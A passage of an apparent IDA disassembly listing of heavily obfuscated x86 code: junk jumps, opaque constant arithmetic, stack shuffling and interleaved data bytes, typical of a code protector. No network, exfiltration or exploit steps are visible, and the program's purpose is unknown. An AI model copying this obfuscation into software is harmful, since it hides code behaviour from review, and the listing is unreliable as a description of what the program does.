XREF: sub_542C3C:loc_56101Fj push 0DFDh mov [esp+48h+var_48], esi push 7522h mov [esp+4Ch+var_4C], esp add [esp+4Ch+var_4C], 4 push [esp+4Ch+var_4C] pop esi add esp, 4 jmp loc_5646A6 ; --------------------------------------------------------------------------- db 0FFh dd 0E95B2434h, 0FFFFBD85h ; --------------------------------------------------------------------------- loc_559B20: ; CODE XREF: sub_542C3C+1D217j pop edx jmp loc_5555DF ; --------------------------------------------------------------------------- dw 0E957h dd 0FFFFD802h, 0C86820BFh, 2E7C154h, 3C8AE9h, 6E95100h dd 810000E3h, 4C2412F2h, 0ACBB5351h, 8109D022h, 971375EEh dd 0E9DE0143h, 0FFFFDB94h ; --------------------------------------------------------------------------- loc_559B58: ; CODE XREF: sub_542C3C+10D94j mov edx, 29037E08h sub edx, 4F22283Bh xor edx, 11A60F8Bh dec edx xor edx, 0B7E8602Ah jmp loc_565DBB ; --------------------------------------------------------------------------- loc_559B75: ; CODE XREF: sub_542C3C+17089j add esi, 4 add esi, 4 xchg esi, [esp+40h+var_40] jmp loc_557168 ; --------------------------------------------------------------------------- aXpsdp db 'XPé¤P',0 dd 30BE3400h, 24048BC7h, 0FFC4FFE9h db 0FFh ; --------------------------------------------------------------------------- loc_559B99: ; CODE XREF: sub_542C3C+18B2Fj sub [esp+40h+var_3C], 5069348Bh pop ecx jmp loc_5603F1 ; --------------------------------------------------------------------------- db 0F6h aAqps db '߀ïéÕÇ',0 dd 24048F00h, 5A5B525Ch, 48F6BD55h, 0E9013833h, 81D9015Dh dd 3348F6E9h, 241C8B38h, 4C481h, 0C870000h, 24248B24h dd 0C584E9h db 0 ; --------------------------------------------------------------------------- loc_559BDD: ; CODE XREF: sub_542C3C+136EFj add eax, 4 jmp loc_565167 ; --------------------------------------------------------------------------- loc_559BE5: ; CODE XREF: sub_542C3C+23B36j push 2482h mov [esp+94h+var_94], edi push eax mov eax, 80h sub esp, 4 jmp loc_5586AA ; --------------------------------------------------------------------------- db 81h dd 24785DCAh, 5CF28109h, 520DA478h, 68E95A5Bh, 0B9000042h dd 5ED701ECh, 4DFEE9h, 4EB8100h, 87000000h, 895C241Ch dd 0BB241Ch, 1000000h, 0B951CBh, 1000000h, 0BB53D9h, 1000000h dd 0B951CBh, 1000000h, 590103D9h, 0A223E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_559C4E: ; CODE XREF: sub_542C3C+1F20Cj add eax, 4 add eax, 4 jmp loc_559614 ; --------------------------------------------------------------------------- loc_559C5B: ; CODE XREF: sub_542C3C+10B77j sub ecx, ebp add ecx, 5D1E4AFBh push edi mov edi, 2C4F2DA1h or edi, 4E844115h dec edi add edi, 9234CEC1h add ecx, edi pop edi mov ebp, [esp+58h+var_58] jmp loc_55D4FF ; --------------------------------------------------------------------------- loc_559C81: ; CODE XREF: sub_542C3C+1ECBAj push ecx mov ecx, 325A0413h add ecx, 0FFFFFFFFh add ecx, 0CDA5FBEDh jmp loc_55E05D ; --------------------------------------------------------------------------- db 81h, 0C1h, 4 dd 81000000h, 4E9h, 84E95100h, 8100002Fh, 4B3EB2EBh, 0EA815F07h dd 65063762h, 0FFF945E9h db 0FFh ; --------------------------------------------------------------------------- loc_559CB9: ; CODE XREF: sub_542C3C+12A6Ej add bl, al add bl, 1Bh pop eax mov eax, [esp+8Eh+var_90+2] push esi mov esi, esp jmp loc_559B75 ; --------------------------------------------------------------------------- dw 73BBh dd 1648F0Bh, 0BE565BDDh, 0EF567A90h, 15EF529h, 0CA015DEAh dd 4025EA81h, 0C8B3E52h, 4C48124h, 81000000h, 4C2h, 2C43E900h dd 0EE890000h, 2EEC15Dh, 0EBC3E952h, 0C2810000h, 509200A7h dd 0EA81CA29h, 509200A7h, 522CEA81h, 0C8B300Eh, 4C48124h dd 0E9000000h, 0DB89h ; --------------------------------------------------------------------------- loc_559D28: ; CODE XREF: sub_542C3C+21866j xchg edx, [esp+92h+var_94+2] pop esp push eax mov eax, esp push 4796h mov [esp+96h+var_98+2], ecx push edi mov edi, 4 mov ecx, edi pop edi add eax, ecx mov ecx, [esp+96h+var_98+2] jmp loc_554120 ; --------------------------------------------------------------------------- dw 34FFh dd 0DF3BE924h, 0F5E9FFFFh, 0BEFFFF97h, 7FE55455h, 0EAE9F189h dd 0AC000080h, 616D6866h, 0FFA5E4E9h, 0C368ACFFh, 89000036h dd 168240Ch, 89000054h, 0BFB42404h, 50E68852h, 0F5885153h dd 0E959EB88h, 0BEBh, 0D3AEE953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559D96: ; CODE XREF: sub_542C3C+18177j mov edx, [esp+96h+var_98+2] add esp, 4 jmp loc_568099 ; --------------------------------------------------------------------------- aSli db ']élë',0 dw 5A00h dd 4C281h, 1AE90000h, 4100005Dh, 5FE0E981h, 52493C7Fh dd 1C47B951h, 0E9C13DD4h, 0ABE98106h, 89AC1449h, 0BB6E9CAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_559DD2: ; CODE XREF: sub_542C3C+12451j jmp loc_55354C ; --------------------------------------------------------------------------- loc_559DD7: ; CODE XREF: sub_542C3C+1EDC2j add esp, 4 and eax, edx pop edx shr eax, 8 xor eax, ecx xor eax, ebx jmp loc_561959 ; --------------------------------------------------------------------------- dd 56240C8Bh, 433BE9h, 9752E900h, 15BFFFFh, 0D00158C2h dd 61E9555Ah, 58FFFFC9h, 8B24048Fh, 0EAE92424h, 68000017h dd 217E69A5h, 0F1814159h, 96B365Ch, 5250E1D1h, 0B1B3E9h dd 5A0AB800h, 0C22944B7h, 24348B58h, 0BF2FE951h, 0F5810000h dd 6184615Bh, 15DEA89h, 0CFB8E9D1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_559E4A: ; CODE XREF: sub_542C3C+123F2j xor esi, 47895415h mov ebx, esi pop esi sub esp, 4 mov [esp+9Ch+var_9C], ebp mov ebp, 0D973799h jmp loc_55C09F ; --------------------------------------------------------------------------- loc_559E63: ; CODE XREF: sub_542C3C+11373j mov eax, [esp+74h+var_74] push eax mov eax, esp jmp loc_55CC4C ; --------------------------------------------------------------------------- dw 0F701h dd 5F15C781h, 0EF815EA7h, 6BEC711Eh, 2A68685Eh, 3C890000h dd 2474FF24h, 243C8B04h, 0C116E9h, 5F756800h, 0E9540000h dd 0FFFFE693h, 0D0459FB9h, 26F1E909h db 2 dup(0) ; --------------------------------------------------------------------------- loc_559EA6: ; CODE XREF: sub_542C3C+17375j sub ebp, 5AF36696h jmp loc_561A7F ; --------------------------------------------------------------------------- align 2 dw 0E9CBh dd 0FFFFB163h, 4B9h, 59CD0100h, 4EC81h, 4890000h, 0AC79E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559ECE: ; CODE XREF: sub_542C3C+258B1j pop edx or ebp, edi pop edi add ebp, 28E4C369h mov ecx, ebp pop ebp xor ecx, esi pop esi jmp loc_560DAE ; --------------------------------------------------------------------------- db 45h dd 63F581h, 0EE0128A1h, 23E9565Dh, 52000086h, 4BAh, 5AD60100h dd 4C681h, 0A8680000h, 89000076h, 74FF2434h, 34FF0424h dd 3677E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_559F16: ; CODE XREF: sub_542C3C+21E94j push eax mov eax, 0FFFFFFFFh add ecx, eax jmp loc_55D1C8 ; --------------------------------------------------------------------------- db 81h dd 0CC75CEC1h, 81F1017Bh, 0CC75CEE9h, 36685E7Bh, 0E9000012h dd 0BBBAh, 4EC8356h, 81242489h, 42404h, 685E0000h, 6986h dd 86B5E9h, 5BD92800h, 4FE7E9h, 0B9515300h, 2DB258E8h dd 0C181D9F7h, 0DF650896h, 0FFCCC2E9h, 5FFB29FFh, 0B7B9E952h dd 0E95C0000h, 0FFFF95CCh, 4373BE56h, 62E94D0Dh, 33FFFFA9h dd 248B2404h, 2434FF24h, 582434FFh, 515B5453h, 4B9h, 59CB0100h dd 4BE56h, 31E90000h db 0A5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559FAF: ; CODE XREF: sub_542C3C+24F3Dj add ebp, edi jmp loc_559EA6 ; --------------------------------------------------------------------------- loc_559FB6: ; CODE XREF: sub_542C3C+15173j add esp, 4 inc ebx push eax mov eax, 6EFD231Dh neg eax and eax, 58474E30h jmp loc_55D4F2 ; --------------------------------------------------------------------------- dd offset loc_41AB65+3 align 4 dd 24048F54h, 4240481h, 0FF000000h, 2C8B2434h, 4C48124h dd 83000000h, 0EC8304C4h, 240C8904h, 481DBB53h, 21E94BD2h dd 66FFFFB8h, 68240C8Bh, 1E14h, 0FFEB83E9h db 0FFh ; --------------------------------------------------------------------------- loc_55A00D: ; CODE XREF: sub_542C3C+21035j mov [esp+50h+var_50], edx jmp loc_55698C ; --------------------------------------------------------------------------- db 81h, 0C1h, 4 dd 52000000h, 4BAh, 4648E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A026: ; CODE XREF: sub_542C3C+21C63j and eax, esi push [esp+50h+var_50] push [esp+54h+var_54] pop esi sub esp, 4 jmp loc_55D78B ; --------------------------------------------------------------------------- db 2Dh dd 588502DFh, 649DE9h, 0FFFE2800h, 34FF2434h, 0C4E95B24h db 5Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_55A04F: ; CODE XREF: sub_542C3C+1B036j push [esp+58h+var_54] mov ebx, [esp+5Ch+var_5C] add esp, 4 pop [esp+58h+var_58] jmp loc_5616D7 ; --------------------------------------------------------------------------- dd 2C581h, 2C870000h, 8F665C24h, 0D5E92404h db 94h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A077: ; CODE XREF: sub_542C3C+1DB0Aj mov [esp+54h+var_54], ebx push 700Dh mov [esp+58h+var_58], edx push eax mov eax, 7C36074Ah xchg eax, edi dec edi xchg eax, edi xor eax, 274A6261h neg eax jmp loc_565561 ; --------------------------------------------------------------------------- loc_55A097: ; CODE XREF: sub_542C3C+10BB1j pop ebx xor eax, ebx jmp loc_554FC9 ; --------------------------------------------------------------------------- aVsY db 'VéÈy',0 dd 5EF38900h, 815BD889h, 0FE1FF3C3h, 81C3013Dh, 0FE1FF3EBh dd 1C87583Dh, 24248B24h, 8904EC83h, 0A3E92414h, 890000A4h dd 0E789243Ch, 4C781h, 0F0E90000h, 890000D0h, 411E9E2h dd 0C3810000h, 430A4D14h, 95EBE952h, 2C890000h, 4777BD24h dd 0EF0108ECh, 0E9242C8Bh, 0AA4Eh, 0E92434FFh, 8EC3h, 4235665Fh dd 0C3816602h, 8166274Eh, 6630B3C3h, 8166C301h, 6630B3EBh dd 274EEB81h, 0E924048Bh, 5CF9h, 4BDh, 5DE90100h, 4C181h dd 12E90000h db 36h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55A13F: ; CODE XREF: sub_542C3C+1CC6Aj add esi, ebp pop ebp push ebp push eax jmp loc_5561D2 ; --------------------------------------------------------------------------- loc_55A149: ; CODE XREF: sub_542C3C+14715j sub al, 9Eh add al, 1Eh jmp loc_564968 ; --------------------------------------------------------------------------- loc_55A152: ; CODE XREF: sub_542C3C+2496Ej pop esi add esp, 4 push eax push ecx mov ecx, 3AE62DCBh mov eax, ecx jmp loc_55391C ; --------------------------------------------------------------------------- dd 240C8B66h, 6AD168h, 243C8900h, 0FFFD1CE9h, 0B1E955FFh db 5Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55A17B: ; CODE XREF: sub_542C3C+19B27j add ecx, 4 xchg ecx, [esp+88h+var_88] pop esp or eax, eax jz loc_566C96 push 6771h mov [esp+88h+var_88], ebx push eax jmp loc_56310F ; --------------------------------------------------------------------------- dd 3C2F91BEh, 814E4E60h, 3EFD28EEh, 0F2895229h, 0D2E9D389h dd 5900006Fh, 4EC81h, 34890000h, 317A6824h, 34E90000h dd 81FFFFF1h, 3C2E91EAh, 0CD96E947h, 8956FFFFh, 4EC81E6h dd 0E9000000h, 88D8h ; --------------------------------------------------------------------------- loc_55A1DC: ; CODE XREF: sub_542C3C+13F52j pop esi add esi, 4 push ecx mov ecx, 4516469Ah shr ecx, 4 dec ecx jmp loc_56462F ; --------------------------------------------------------------------------- dw 0E883h dd 24048702h, 0E924248Bh, 3A54h ; --------------------------------------------------------------------------- loc_55A200: ; CODE XREF: sub_542C3C+2168Aj mov ebx, [esp+80h+var_80] add esp, 4 jmp loc_56693B ; --------------------------------------------------------------------------- db 57h dd 0C781E789h, 4, 4C781h, 3C870000h, 4055C24h, 50000000h dd 42474FFh, 0E924048Bh, 7E93h, 514ACC80h, 0E180E2B1h dd 0D9E9800Ch, 0E9A4E180h, 0C1A6h, 335CA6BEh, 8BF03108h dd 0C4812434h, 4, 5603E8C1h, 405797BEh, 0E9F0010Eh, 2927h dd 6491E949h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A26A: ; CODE XREF: sub_542C3C+18D47j mov ebx, esp push eax mov eax, 5F9743C1h inc eax sub eax, 2F820165h add eax, 0CFEABDA7h add ebx, eax pop eax push edx mov edx, 4 add ebx, edx pop edx push ebx jmp loc_55B165 ; --------------------------------------------------------------------------- loc_55A28F: ; CODE XREF: sub_542C3C+1FBA5j add bh, 0FDh and cl, bh push [esp+80h+var_80] pop ebx add esp, 4 jmp loc_561F23 ; --------------------------------------------------------------------------- dd 0D586D2F6h, 88EC8850h, 92EBE9E6h, 2C890000h, 0B89EE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A2B6: ; CODE XREF: sub_542C3C+193F4j mov [esp+7Ch+var_7C], ebp push edi push eax jmp loc_567848 ; --------------------------------------------------------------------------- dd 4240483h, 5CFC685Ah, 1C890000h, 27F6824h, 4890000h dd 751A6824h, 53587233h, 1B624DBBh, 5BD80111h, 28563335h dd 680Bh, 2C810000h, 2739C424h, 0AF86E965h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A2FA: ; CODE XREF: sub_542C3C+10D1Aj add esp, 4 push eax push ecx mov cl, 35h add cl, 1 push ebx mov bh, 59h shr bh, 5 shr bh, 3 and bh, 45h add bh, 3Ch xor cl, bh pop ebx mov ah, cl pop ecx add ah, 0Fh jmp loc_5630BB ; --------------------------------------------------------------------------- loc_55A324: ; CODE XREF: sub_542C3C+118AFj push dword ptr [eax] jmp loc_55E323 ; --------------------------------------------------------------------------- db 87h dd 15E92414h, 6800009Bh, 4CACh, 0BE243489h, 96B5A3Dh, 1967BB53h dd 448166EAh, 57CB0824h, 4EE92FADh db 0B7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A353: ; CODE XREF: sub_542C3C+18C14j and ebx, edi pop edi or ebx, ebx jmp loc_553FD7 ; --------------------------------------------------------------------------- loc_55A35D: ; CODE XREF: sub_542C3C+1CB04j pop ecx add ebp, ebx pop ebx push ebp jmp loc_557FD3 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0F7E2D100h, 0DFF281D2h, 0E977415Dh, 6ED7h, 0E9243C8Bh dd 0B9FBh, 5C241C87h, 0DBE9CF89h db 22h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55A38F: ; CODE XREF: sub_542C3C+22AF2j pop esi jmp loc_55802C ; --------------------------------------------------------------------------- align 2 dw 0E9D5h dd 0FFFFC4A3h, 0FF2434FFh, 0C8B2434h, 4C48124h, 81000000h dd 4C4h, 0CA52E900h, 0F001FFFFh, 5024348Bh, 5C1BE9h, 242C8900h dd 3E7204BDh, 66E9564Bh, 0F6000037h, 0F65A2414h, 70BEE9DAh dd 0EC810000h, 4, 0B4240489h, 6ECC091h, 0C0B8CC80h, 0C48008ECh dd 0CC80FFh, 301FC480h, 24048BE3h, 0FFB0B1E9h, 5BD889FFh dd 3D86E9h db 0 ; --------------------------------------------------------------------------- loc_55A409: ; CODE XREF: sub_542C3C+1C525j add ebx, 8F33A12h add ebx, edi sub ebx, 8F33A12h mov eax, [ebx] mov ebx, [esp+70h+var_70] add esp, 4 push dword ptr [edi+eax*4] push edi push esp pop edi add edi, 4 sub edi, 4 xchg edi, [esp+74h+var_74] pop esp mov [esp+70h+var_70], ebp sub esp, 4 jmp loc_568039 ; --------------------------------------------------------------------------- loc_55A443: ; CODE XREF: sub_542C3C+1C60Fj mov bh, 0Dh mov dl, 81h sub dl, bh pop ebx push ecx push edx mov dh, 0CBh jmp loc_5631DE ; --------------------------------------------------------------------------- loc_55A453: ; CODE XREF: sub_542C3C+140CCj mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+90h+var_90] pop esp jmp loc_5554CB ; --------------------------------------------------------------------------- db 53h dd 9926A0BBh, 99D4E928h, 0ED80FFFFh, 0FF1BE99Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A47A: ; CODE XREF: sub_542C3C+15A69j sub ecx, 1AD47779h pop edx jmp loc_554F7D ; --------------------------------------------------------------------------- dw 0E268h dd 8900001Bh, 67E92434h, 89000067h, 0DCF7E9E0h, 295DFFFFh dd 0DE955D8h db 0E0h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55A4A3: ; CODE XREF: sub_542C3C+1ADF4j add eax, 4 jmp loc_5567FE ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 582434FFh, 81E18951h, 4C1h, 4C18300h, 31240C33h, 0C33240Ch dd 6C685C24h, 89000007h, 5954240Ch, 4C181h, 0BF570000h dd 73155F5Eh, 0FFA319E9h, 1C77FFFFh, 411589Dh, 59E99C24h dd 81FFFF90h, 4C2h, 7C5B6800h, 0C890000h, 4B924h, 0CA010000h dd 0FFDD11E9h, 2E0068FFh, 14890000h, 0B8505324h, 21DB227Ch dd 0C103E8C1h, 0BA5205E8h, 0FFDE24E2h, 0FF9A47E9h, 3E6C0FFh dd 803BC680h, 0D6F64DC6h, 0E901C680h, 78A0h, 0F7BD5550h dd 8930FC0Eh, 98B9E9E8h, 148B0000h, 3398E924h, 814E0000h dd 0F724D6EEh, 2EEC155h, 0E4EE814Eh, 819D7698h, 0BA658EEDh dd 81F50124h, 0BA658EC5h, 8E95E24h db 0A8h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55A57B: ; CODE XREF: sub_542C3C+22621j mov ebx, 4A624F1Ch xor ebx, 34B552EDh sub eax, ebx jmp loc_5656C1 ; --------------------------------------------------------------------------- db 8Bh, 1Ch, 24h dd 206E9h, 1C77FF00h, 419589Dh, 0A9E99C24h, 58FFFF8Fh dd 31243433h, 34332434h, 24248B24h, 7A45E9h db 0 ; --------------------------------------------------------------------------- loc_55A5B5: ; CODE XREF: sub_542C3C+22756j add esp, 4 push edx push [esp+84h+var_80] pop edx pop [esp+84h+var_84] mov esp, [esp+80h+var_80] jmp loc_5659B7 ; --------------------------------------------------------------------------- aLHh db '‹$$hH!',0 dd 24348900h, 0EC83E689h, 243C8904h, 417D1068h, 5CF4E945h dd 0C4810000h, 4, 31243433h, 34332434h, 24D35C24h, 4DE99C24h db 8Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A5FF: ; CODE XREF: sub_542C3C+1A82Bj add ecx, ebx pop ebx xchg ecx, [esp+7Ch+var_7C] mov esp, [esp+7Ch+var_7C] shr eax, 0Eh xor eax, ecx push eax push 37B3h mov [esp+84h+var_84], ebx pop eax pop ebx push 3A81h mov [esp+80h+var_80], ebx push esi jmp loc_55C5C0 ; --------------------------------------------------------------------------- dw 0E957h dd 0DA03h ; --------------------------------------------------------------------------- loc_55A62C: ; CODE XREF: sub_542C3C+21D39j mov word ptr [esp+84h+var_84], cx mov cl, 29h jmp loc_566BC9 ; --------------------------------------------------------------------------- db 81h dd 514449F7h, 247C295Ah, 243C8B08h, 0C730E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A64A: ; CODE XREF: sub_542C3C+1406Fj not edi jmp loc_567612 ; --------------------------------------------------------------------------- aAiHn@ db '€ëÆhn@',0 dd 24148900h, 0EE80C8B6h, 0DEE951C4h, 50000030h, 0FFBACEE9h db 0FFh ; --------------------------------------------------------------------------- loc_55A66D: ; CODE XREF: sub_542C3C+16DF3j pop esp jmp loc_562245 ; --------------------------------------------------------------------------- loc_55A673: ; CODE XREF: sub_542C3C+18AFAj sub ebp, edi push [esp+0B2h+var_B2] pop edi add esp, 4 jmp loc_554FFF ; --------------------------------------------------------------------------- loc_55A684: ; CODE XREF: sub_542C3C+1250Ej push esi push edi push 56BF67F7h pop edi sub edi, 7FC9555Bh and edi, 5AE641F7h dec edi sub edi, 0ED22B05Ah mov esi, edi pop edi xor esi, 1F6D559Ch jmp loc_555027 ; --------------------------------------------------------------------------- db 0B8h, 4Bh, 67h dd 5A502196h, 24543158h, 48B5A04h, 58545024h, 6206E9h dd 15F28100h, 3143DA21h, 0A759E9D7h, 0C5830000h, 242C8704h dd 0EC83535Ch, 243C8904h, 7D4100BFh, 4E9ABB66h, 0EB81FDF0h dd 3D1C244Fh, 0BAE9FB01h, 0C1000012h, 0E28107EAh, 428C7762h dd 0EA81D2F7h, 0CC33F410h, 7D7FEF81h, 0D70130B7h, 7D7FC781h dd 0FF5A30B7h, 835D2434h, 0C78304C4h, 74FF5702h, 3C8B0424h dd 4C48324h, 5C24048Fh, 24042966h, 8E12E99Ch, 148BFFFFh dd 9534E924h, 1C8B0000h, 4C48124h, 88000000h, 535966CEh dd 0E0E91FB7h, 0D10000A1h, 2E0C1E8h, 58EBE9h, 4C48100h dd 0FF000000h, 3C8B2434h, 4C48324h, 0F965E952h, 0FF57FFFFh dd 0FF042474h, 3C8B2434h, 4C48324h, 1F7CE9h, 0F3815E00h dd 6B47509Ah, 41FA6857h, 62E91B3Dh, 810000DBh, 4C4h, 24048F00h dd 0FFDE13E9h db 0FFh ; --------------------------------------------------------------------------- loc_55A7A9: ; CODE XREF: sub_542C3C+1CAC7j mov ebx, 2BED12FDh sub ebx, 35B46D6h shl ebx, 6 xor ebx, 75E26CF8h not ebx push edx push ebx jmp loc_5593B2 ; --------------------------------------------------------------------------- dw 74FFh dd 8F5A0424h, 0B0E92404h db 0E3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A7D3: ; CODE XREF: sub_542C3C+11A73j add esp, 4 pop eax push small 2D98h jmp loc_55D310 ; --------------------------------------------------------------------------- db 5Eh dd 0C1D0F748h, 819504E8h, 1C5h, 0D1E2E900h, 348BFFFFh dd 4C48124h, 81000000h, 4C6h, 1AE95500h, 0F70000BAh, 7E9C1D9h dd 0E9C1D1F7h, 61E18106h, 81547B55h, 79511DE9h, 8BC80100h dd 0C483240Ch, 4C08304h, 8B240487h, 0E9502424h, 8262h ; --------------------------------------------------------------------------- loc_55A838: ; CODE XREF: sub_542C3C+121B3j pop eax jmp loc_558FC0 ; --------------------------------------------------------------------------- dw 15Bh dd 0CE955E8h, 10000BFh, 0B0C281F2h, 81588E3Eh, 717588C2h dd 2685753h, 5F65F82Eh, 7223EF81h, 0C7816983h, 6EC14C8Eh dd 0FFBE03E9h db 0FFh ; --------------------------------------------------------------------------- loc_55A86D: ; CODE XREF: sub_542C3C+1FEC6j mov [esp+70h+var_70], eax jmp loc_565921 ; --------------------------------------------------------------------------- db 55h, 0E9h, 98h dd 5CFFFFDEh, 0E9240489h, 6C3Bh, 0F67146BBh, 8BDF8925h dd 30E9241Ch, 66000010h, 0E9240C8Bh, 0FFFFCD09h, 0A859E953h dd 478FFFFFh, 0D629E940h, 0EE81FFFFh, 4, 5C243487h, 50241C89h dd 4DE944B4h db 0B9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A8BF: ; CODE XREF: sub_542C3C+11BB0j push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+80h+var_80] pop esp jmp loc_562415 ; --------------------------------------------------------------------------- loc_55A8D7: ; CODE XREF: sub_542C3C+16875j push dword ptr [esp] mov ebp, [esp+0A2h+var_A2] add esp, 4 push ebp mov ebp, esp add ebp, 4 sub ebp, 4 push ebp jmp loc_55F9F1 ; --------------------------------------------------------------------------- dw 29B3h dd 0FF978DE9h, 14F755FFh, 0E9535D24h, 468Fh, 5B585B58h dd 5224048Bh, 86E9E289h, 0BE000075h, 0A8D50FB3h, 895EF701h dd 51B95FFEh, 315F330Fh, 0E1815EF1h, 49877D72h, 0FF988FE9h dd 24048FFFh, 2414895Ch, 0DE99C50h, 68FFFF8Ch, 0ADC288Dh dd 0F3BA5259h, 0E92BB123h, 48A6h, 24048B66h, 25EBE9h, 2424D200h dd 8BEAE99Ch, 0E980FFFFh, 0AF8E9D5h, 0BD550000h, 4, 895DEE89h dd 13E95EF3h, 880000A3h, 0C1885BD8h, 0E9585A58h, 348Ch dd 0E9240C8Bh, 0FFFFD3D1h, 2414F751h, 0E9E9D159h, 49E8h dd 8455E1BFh, 9722E956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A9A6: ; CODE XREF: sub_542C3C+1F1F6j mov [esp+0A6h+var_A6], edi mov edi, 1C9348BBh sub edi, 61A40B7Ch inc edi neg edi jmp loc_565E8D ; --------------------------------------------------------------------------- dd 24048B66h, 2FF4E956h, 0F2800000h, 1EA8034h, 0F6D08850h dd 0C58851D0h, 3392E9h, 5EFEB800h, 172558C1h, 253B572Eh dd 1FC4342Bh, 0FFAEFFE9h, 0E9EF86FFh, 5D1Dh, 42474FFh dd 88D0E9h, 4E88300h, 5C240487h, 51242C89h, 0F41C2EB9h dd 0F7D9F756h, 3DB3E9D9h, 0EA810000h, 0FFB9F3h, 698EE9h dd 81E18900h, 4C1h, 4BF5700h, 29000000h, 0C875FF9h, 1C895C24h dd 6BB65224h, 0E964CE80h, 9E7Dh, 502E0C1h, 64CD709Ah, 24E9C529h dd 1000097h, 0B95155EEh, 1E304C93h, 52A6E941h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55AA62: ; CODE XREF: sub_542C3C+21F0Dj add eax, 4 push edx push esp jmp loc_555274 ; --------------------------------------------------------------------------- dw 0C688h dd 51E9F588h, 8000000Ch, 0E9529EF2h, 0FFFFF94Fh, 2127B951h dd 0F18123BEh, 80C1062h, 231EF181h, 0E9C10D74h, 84E18107h dd 8105404Eh, 1B1E8BC1h, 44C5E920h, 148B0000h, 4C48324h dd 0B2E9EA89h db 4Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55AAB3: ; CODE XREF: sub_542C3C+1AA82j add esi, ecx pop ecx sub edx, esi jmp loc_567BA8 ; --------------------------------------------------------------------------- db 29h, 0CEh, 8Bh dd 0FAE9240Ch db 0B6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AAC7: ; CODE XREF: sub_542C3C+1DE80j xchg ecx, [esp+0AAh+var_AA] jmp loc_5565CB ; --------------------------------------------------------------------------- db 66h dd 81240C8Bh, 4ECh, 24148900h, 0A15DE9h, 7AE95A00h, 0FFFFFFE2h dd 5A042474h, 664AE9h db 0 ; --------------------------------------------------------------------------- loc_55AAF1: ; CODE XREF: sub_542C3C+24097j push [esp+0AAh+var_AA] pop esi add esp, 4 push ebx jmp loc_55C63E ; --------------------------------------------------------------------------- dw 88BBh dd 0BE59EE41h, 0AFA532F2h, 52D4EE81h, 0DE014725h, 8C44E9h dd 53573400h, 0EF8001B7h, 8BF800CDh, 0C481241Ch, 4, 5158C200h dd 0CB88D188h, 24148B59h, 4C481h, 0D8000000h, 0D8005B66h dd 0E9B9B353h, 1BD6h, 5524048Bh, 7F21E9h, 240C8700h, 8924248Bh dd 2682414h, 5A000000h, 0DDA8E9h, 48B6600h, 0B070E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AB6E: ; CODE XREF: sub_542C3C+24497j mov esi, 4 sub ebx, 40C40B1Ch add ebx, esi add ebx, 40C40B1Ch pop esi xchg ebx, [esp+0A6h+var_A6] mov esp, [esp+0A6h+var_A6] loc_55AB88: ; CODE XREF: sub_542C3C+1CD00j push ebx jmp loc_558EB4 ; --------------------------------------------------------------------------- dw 835Fh dd 0C8904ECh, 4EC8324h, 0AF22E954h, 248BFFFFh, 0A963E924h dd 4401FFFFh, 5E580424h, 8904EC83h, 3BE92404h, 570000C3h dd 41F0968h, 0E7C15F74h, 0D3E7E902h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55ABC6: ; CODE XREF: sub_542C3C+25002j mov [esp+0AAh+var_AA], esi push 0EA3h push esp pop [esp+0B2h+var_B2] add [esp+0AEh+var_AE], 4 mov esi, [esp+0AEh+var_AE] jmp loc_5675AF ; --------------------------------------------------------------------------- aQBH db 'Q¹šB¿^h',0 align 4 dd 24048100h, 2FE07F75h, 14242C81h, 294D4C67h, 481240Ch dd 4C671424h, 75B9514Dh, 292FE07Fh, 8B04244Ch, 0C481240Ch dd 4, 83240C8Bh, 0BF5704C4h, 713362BEh, 81DFF747h, 8C2023F7h dd 9ACDE92Fh, 0C8290000h, 0EA245805h, 2434FF1Eh, 4C48359h dd 0B7268h, 24148900h, 0DDFDE955h, 0C481FFFFh, 4, 792CE9h db 0 ; --------------------------------------------------------------------------- loc_55AC55: ; CODE XREF: sub_542C3C+1E3ADj mov ebx, 2AAF5C1Fh jmp loc_55F66F ; --------------------------------------------------------------------------- db 89h dd 0A8B9240Ch, 29605D69h, 2434FFCFh, 5DC0E9h, 4C48100h dd 81000000h, 4C2h, 0A863E900h, 66640000h, 6602B60Fh, 6655BB68h dd 0E9240489h, 0FFFF88B8h, 0E9E38953h, 0FFFFBA99h, 0C107EAC1h dd 0EA8108E2h, 5881671Ah, 0AAE9D089h, 0BA000056h, 579D63BBh dd 0F706E2C1h, 4E2C1DAh, 2C7BC281h, 0B9517C6Ch, 40E9EC46h dd 0E959CA01h, 0FFFF8DF7h ; --------------------------------------------------------------------------- loc_55ACD0: ; CODE XREF: sub_542C3C+1C257j add ebp, 0AEA52645h mov esi, ebp pop ebp xor edi, esi mov esi, [esp+0AAh+var_AA] add esp, 4 shl edi, 5 push 4235h mov [esp+0AAh+var_AA], ebx push 